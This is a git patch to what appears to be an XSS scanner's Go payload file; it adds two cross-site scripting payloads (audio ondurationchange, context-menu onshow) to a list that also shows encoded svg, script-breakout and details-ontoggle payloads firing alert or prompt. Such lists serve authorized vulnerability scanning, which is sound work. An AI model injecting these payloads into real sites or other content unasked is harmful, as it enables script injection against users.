From fe68d73a6992bdc80625caa833fb9dd10d3c52ca Mon Sep 17 00:00:00 2001
From: hahwul <hahwul@gmail.com>
Date: Fri, 21 Aug 2020 21:43:22 +0900
Subject: [PATCH] Add XSS Payloads

---
 pkg/scanning/payload.go | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkg/scanning/payload.go b/pkg/scanning/payload.go
index f2ce76dc..714901c0 100644
--- a/pkg/scanning/payload.go
+++ b/pkg/scanning/payload.go
@@ -52,6 +52,8 @@ func getCommonPayload() []string {
 		"'\"><svg/class=dalfox onload=&#97&#108&#101&#114&#00116&#40&#41&#x2f&#x2f",
 		"</script><svg><script/class=dalfox>alert(45)</script>-%26apos;",
 		"<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() class=dalfox>",
+		"<audio controls ondurationchange=alert(45) id=dalfox><source src=1.mp3 type=audio/mpeg></audio>",
+		"<div contextmenu=xss><p>1<menu type=context class=dalfox id=xss onshow=alert(45)></menu></div>",
 
 		// not include verify payload
 		"\"><svg/OnLoad=\"`${prompt``}`\">",